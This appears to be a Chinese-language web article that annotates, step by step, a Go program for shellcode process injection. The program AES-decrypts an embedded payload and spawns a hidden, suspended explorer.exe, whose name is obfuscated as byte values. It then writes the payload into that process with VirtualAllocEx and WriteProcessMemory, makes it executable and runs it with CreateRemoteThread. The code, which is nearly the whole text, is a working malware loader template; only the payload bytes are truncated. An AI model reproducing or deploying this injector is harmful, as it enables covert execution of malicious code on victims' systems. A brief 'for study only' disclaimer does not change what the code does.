Go 语言注入 Shellcode 代码分析及注释
该代码是一个使用 AES 解密后注入到目标进程中的程序。具体流程如下:
- 导入必要的包和库,定义一些常量和变量。
package main
import (
'crypto/aes'
'os'
'syscall'
'unsafe'
'strings'
'strconv'
'crypto/cipher'
'errors'
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
CREATE_SUSPENDED = 0x4
CREATE_NO_WINDOW = 0x8000000
)
var (
kernel32 = syscall.MustLoadDLL('kernel32.dll')
ntdll = syscall.MustLoadDLL('ntdll.dll')
RtlCopyMemory = ntdll.MustFindProc('RtlCopyMemory')
VirtualAlloc = kernel32.MustFindProc('VirtualAlloc')
VirtualAllocEx = kernel32.MustFindProc('VirtualAllocEx')
VirtualProtectEx = kernel32.MustFindProc('VirtualProtectEx')
WriteProcessMemory = kernel32.MustFindProc('WriteProcessMemory')
OpenProcess = kernel32.MustFindProc('OpenProcess')
CreateRemoteThread = kernel32.MustFindProc('CreateRemoteThread')
closeHandle = kernel32.MustFindProc('CloseHandle')
)
- 编写解密函数
decrypt和字符串解析函数StringBytesParseString。
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New('ciphertext too short')
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func StringBytesParseString(byteString string) (string, error) {
byteString = strings.TrimSuffix(byteString, ']')
byteString = strings.TrimLeft(byteString, '[')
sByteString := strings.Split(byteString, ' ')
var res []byte
for _, s := range sByteString {
i, err := strconv.ParseUint(s, 10, 64)
if err != nil {
return '', err
}
res = append(res, byte(i))
}
return string(res), nil
}
- 调用
StringBytesParseString函数解析出 AES 密钥、待注入的 payload 和目标进程的路径。
func main() {
/* decode values from encoded bytes */
key, err := StringBytesParseString('[84 150 98 245 237 193 145 86 135 82 188 200 46 124 65 173 209 254 138 245 19 5 189 101 220 215 179 85 12 221 12 82]'); if err != nil {
os.Exit(1)
}
bytesPayload, err := StringBytesParseString('[177 ]'); if err != nil {
os.Exit(1)
}
target, err := StringBytesParseString('[101 120 112 108 111 114 101 114 46 101 120 101]'); if err != nil {
os.Exit(1)
}
- 使用解密函数
decrypt解密出 Shellcode。
/* decrypt shellcode using AES */
shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
os.Exit(1)
}
- 使用
loadProcess函数创建一个被挂起的目标进程,返回进程信息。
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
commandLine, err := syscall.UTF16PtrFromString(target)
if err != nil {
panic(err)
}
err = syscall.CreateProcess(
nil,
commandLine,
nil,
nil,
false,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi)
if err != nil {
panic(err)
}
return &pi
}
- 调用
VirtualAllocEx分配一块内存,用于存放 Shellcode。
/* spawn target process */
process := loadProcess(target)
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAllocEx.Call(
uintptr(process.Process),
0,
uintptr(len(shellcode)),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
if err.Error() != 'The operation completed successfully.' {
os.Exit(1)
}
- 调用
WriteProcessMemory将 Shellcode 写入目标进程内存。
/* overwriting process memory with our shellcode */
_, _, err = WriteProcessMemory.Call(
uintptr(process.Process),
baseAddr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
if err.Error() != 'The operation completed successfully.' {
os.Exit(1)
}
- 调用
VirtualProtectEx修改内存保护属性为PAGE_EXECUTE_READ,使得 Shellcode 可以被执行。
/* changing permissions for our memory segment */
_, _, err = VirtualProtectEx.Call(
uintptr(process.Process),
baseAddr,
uintptr(len(shellcode)),
PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtectCfg)),
)
if err.Error() != 'The operation completed successfully.' {
os.Exit(1)
}
- 调用
CreateRemoteThread创建一个远程线程,将线程函数指向 Shellcode 的起始地址。
/* load remote thread */
_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
if err.Error() != 'The operation completed successfully.' {
os.Exit(1)
}
- 调用
closeHandle关闭进程句柄。
/* close process handler */
_, _, err = closeHandle.Call(uintptr(process.Process))
if err.Error() != 'The operation completed successfully.' {
os.Exit(1)
}
}
- 程序执行完毕,退出。
这段代码是一个典型的 Shellcode 注入程序,通过将 Shellcode 注入到目标进程的内存空间并执行,实现恶意行为。需要注意的是,此代码仅供学习研究之用,请勿用于任何非法目的。
注意事项
- Shellcode 注入是一个复杂的主题,需要对操作系统内核和进程管理有深入的了解。
- 这段代码使用了一些低级 API,需要谨慎使用,避免造成系统崩溃或安全漏洞。
- 恶意软件的开发和使用是违法的,请勿用于任何非法目的。
原文地址: https://www.cveoy.top/t/topic/lXO2 著作权归作者所有。请勿转载和采集!